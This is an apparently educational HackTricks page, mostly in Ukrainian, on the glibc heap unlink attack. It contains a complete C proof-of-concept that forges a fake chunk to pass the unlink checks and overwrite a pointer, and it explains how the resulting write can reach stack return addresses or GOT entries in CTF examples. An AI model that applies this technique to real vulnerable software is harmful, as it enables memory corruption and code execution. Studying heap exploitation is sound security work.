Unlink Attack
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Коли ця атака була виявлена, вона в основному дозволяла WWW (Write What Where), однак, деякі перевірки були додані, що зробило нову версію атаки більш цікавою, більш складною та недійсною.
```c #include #include #include #include
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding };
int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20];
// First grab two chunks (non fast) chunk1 = malloc(0x8000); chunk2 = malloc(0x8000); printf("Stack pointer to chunk1: %p\n", &chunk1); printf("Chunk1: %p\n", chunk1); printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->size = 0x8000; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x8000; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("Chunk1: %p\n", chunk1); printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0; }
</details>
* Атака не працює, якщо використовуються tcaches (після 2.26)
### Мета
Ця атака дозволяє **змінити вказівник на шматок, щоб він вказував на 3 адреси перед собою**. Якщо це нове місце (околиці, де знаходився вказівник) містить цікаві дані, такі як інші контрольовані алокації / стек..., можна їх прочитати/перезаписати, щоб завдати більшої шкоди.
* Якщо цей вказівник знаходився в стеку, оскільки тепер він вказує на 3 адреси перед собою, і користувач потенційно може його прочитати та змінити, буде можливим витік чутливої інформації зі стеку або навіть змінити адресу повернення (можливо), не торкаючись канарки.
* У прикладах CTF цей вказівник знаходиться в масиві вказівників на інші алокації, тому, зробивши його вказівником на 3 адреси перед собою і маючи можливість читати та писати, можна змусити інші вказівники вказувати на інші адреси.\
Оскільки користувач також може читати/писати інші алокації, він може витікати інформацію або перезаписувати нові адреси в довільних місцях (наприклад, у GOT).
### Вимоги
* Деякий контроль у пам'яті (наприклад, стек), щоб створити кілька шматків, надаючи значення деяким атрибутам.
* Витік стеку для налаштування вказівників фейкового шматка.
### Атака
* Є кілька шматків (chunk1 і chunk2)
* Атакуючий контролює вміст chunk1 і заголовки chunk2.
* У chunk1 атакуючий створює структуру фейкового шматка:
* Щоб обійти захист, він переконується, що поле `size` правильне, щоб уникнути помилки: `corrupted size vs. prev_size while consolidating`
* і поля `fd` та `bk` фейкового шматка вказують на те, де зберігається вказівник chunk1 з офсетами -3 і -2 відповідно, так що `fake_chunk->fd->bk` і `fake_chunk->bk->fd` вказують на позицію в пам'яті (стек), де знаходиться реальна адреса chunk1:
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
* Заголовки chunk2 модифікуються, щоб вказати, що попередній шматок не використовується і що розмір є розміром фейкового шматка.
* Коли другий шматок звільняється, цей фейковий шматок відключається, відбувається:
* `fake_chunk->fd->bk` = `fake_chunk->bk`
* `fake_chunk->bk->fd` = `fake_chunk->fd`
* Раніше було зроблено так, що `fake_chunk->fd->bk` і `fake_chunk->bk->fd` вказують на те саме місце (місце в стеку, де зберігався `chunk1`, тому це був дійсний зв'язаний список). Оскільки **обидва вказують на те саме місце**, лише останній (`fake_chunk->bk->fd = fake_chunk->fd`) матиме **ефект**.
* Це **перезапише вказівник на chunk1 у стеку на адресу (або байти), збережені на 3 адреси перед у стеку**.
* Отже, якщо атакуючий знову зможе контролювати вміст chunk1, він зможе **писати всередині стеку**, потенційно перезаписуючи адресу повернення, пропускаючи канарку, і змінюючи значення та вказівники локальних змінних. Навіть знову змінюючи адресу chunk1, збережену в стеку, на інше місце, де, якщо атакуючий знову зможе контролювати вміст chunk1, він зможе писати куди завгодно.
* Зверніть увагу, що це було можливим, оскільки **адреси зберігаються в стеку**. Ризик і експлуатація можуть залежати від **того, де зберігаються адреси фейкового шматка**.
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## Посилання
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
* Хоча було б дивно знайти атаку unlink навіть у CTF, тут ви маєте кілька звітів, де ця атака була використана:
* Приклад CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
* У цьому прикладі, замість стеку є масив адрес, виділених malloc. Атака unlink виконується, щоб мати можливість виділити шматок тут, отже, контролюючи вказівники масиву адрес, виділених malloc. Потім є ще одна функціональність, яка дозволяє змінювати вміст шматків у цих адресах, що дозволяє вказувати адреси на GOT, змінювати адреси функцій для отримання витоків і RCE.
* Ще один приклад CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
* Як і в попередньому прикладі, є масив адрес алокацій. Можна виконати атаку unlink, щоб зробити адресу до першої алокації вказувати на кілька позицій перед початком масиву і перезаписати цю алокацію в новій позиції. Отже, можна перезаписати вказівники інших алокацій, щоб вказувати на GOT функції atoi, вивести її, щоб отримати витік libc, а потім перезаписати GOT atoi адресою до одного гаджета.
* Приклад CTF з кастомними функціями malloc і free, які зловживають вразливістю, дуже схожою на атаку unlink: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
* Є переповнення, яке дозволяє контролювати вказівники FD і BK кастомного malloc, які будуть (кастомно) звільнені. Більше того, купа має біт виконання, тому можна витікати адресу купи і вказувати функцію з GOT на шматок купи з shellcode для виконання.
<div data-gb-custom-block data-tag="hint" data-style='success'>
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
</div>